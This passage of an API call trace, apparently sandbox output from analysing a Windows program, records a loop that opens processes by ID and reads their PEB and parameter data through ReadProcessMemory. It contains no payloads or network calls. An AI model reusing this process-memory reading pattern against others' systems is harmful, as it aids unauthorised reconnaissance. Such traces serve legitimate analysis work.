lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.075] malloc (_Size=0x88) returned 0x196ef0d73e0 [0244.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1978, lpBuffer=0x196ef0d73e0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d73e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.075] free (_Block=0x196ef0d73e0) [0244.091] CloseHandle (hObject=0x464) returned 1 [0244.092] _ui64tow_s (in: _Value=0xda0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0244.099] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3488") returned 4 [0244.100] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.100] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.207] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x464 [0244.208] GetLastError () returned 0x0 [0244.208] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.209] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.209] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.209] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x67117c450, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.211] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.213] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.213] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.213] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.213] malloc (_Size=0x9e) returned 0x196ef0fa6e0 [0244.213] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56198e, lpBuffer=0x196ef0fa6e0, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.214] free (_Block=0x196ef0fa6e0) [0244.215] CloseHandle (hObject=0x464) returned 1 [0244.216] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0244.222] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3504") returned 4 [0244.223] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.223] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.315] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x464 [0244.315] GetLastError () returned 0x0 [0244.315] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cc0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x67117c450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.318] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.319] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.319] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.320] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.320] malloc (_Size=0x64) returned 0x196ef0d03e0 [0244.320] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.321] free (_Block=0x196ef0d03e0) [0244.322] CloseHandle (hObject=0x464) returned 1 [0244.322] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0244.328] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3512") returned 4 [0244.329] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.330] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.446] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x464 [0244.446] GetLastError () returned 0x0 [0244.446] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.446] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.447] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.447] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581d30, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.447] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5818f8, lpBuffer=0x67117c450, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.449] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.450] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.451] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.451] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5812e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.451] malloc (_Size=0x8a) returned 0x196ef0d5820 [0244.451] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d5820, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5820*, lpNumberOfBytesRead=0x0) returned 1 [0244.452] free (_Block=0x196ef0d5820) [0244.453] CloseHandle (hObject=0x464) returned 1 [0244.453] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0244.460] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3528") returned 4 [0244.462] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.462] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x464 [0244.536] GetLastError () returned 0x0 [0244.536] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.536] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x67117c450, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.538] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.540] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.540] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.541] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.541] malloc (_Size=0x76) returned 0x196ef0d2120 [0244.541] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0244.542] free (_Block=0x196ef0d2120) [0244.543] CloseHandle (hObject=0x464) returned 1 [0244.543] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0244.549] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3536") returned 4 [0244.551] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.551] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x464 [0244.636] GetLastError () returned 0x0 [0244.636] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.636] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.636] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.636] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.638] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.639] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.639] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.639] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.639] malloc (_Size=0x60) returned 0x196ef0d0370 [0244.640] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0244.640] free (_Block=0x196ef0d0370) [0244.641] CloseHandle (hObject=0x464) returned 1 [0244.642] _ui64tow_s (in: _Value=0xde0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0244.646] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3552") returned 4 [0244.649] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.649] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x464 [0244.666] GetLastError () returned 0x0 [0244.666] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.666] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.667] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.667] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.667] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x67117c450, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.668] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.670] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.670] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.670] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.694] malloc (_Size=0x74) returned 0x196ef0d31b0 [0244.694] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0244.695] free (_Block=0x196ef0d31b0) [0244.695] CloseHandle (hObject=0x464) returned 1 [0244.696] _ui64tow_s (in: _Value=0xde8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0244.700] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3560") returned 4 [0244.702] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.702] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0244.721] GetLastError () returned 0x0 [0244.721] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.721] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221d10, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.722] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2218f8, lpBuffer=0x67117c450, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.723] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.725] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.725] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.725] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2212e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.725] malloc (_Size=0x80) returned 0x196ef0d7b30 [0244.725] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221970, lpBuffer=0x196ef0d7b30, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7b30*, lpNumberOfBytesRead=0x0) returned 1 [0244.726] free (_Block=0x196ef0d7b30) [0244.727] CloseHandle (hObject=0x464) returned 1 [0244.728] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0244.828] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3576") returned 4 [0244.829] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0244.829] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0244.852] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0244.852] GetLastError () returned 0x0 [0244.853] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0244.853] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0244.853] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0244.853] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0244.854] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x67117c450, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0244.855] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0244.856] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0244.856] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0244.856] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0244.857] malloc (_Size=0x8c) returned 0x196ef0d5a00 [0244.857] ReadProcessMemory (in: hProcess=0x464, 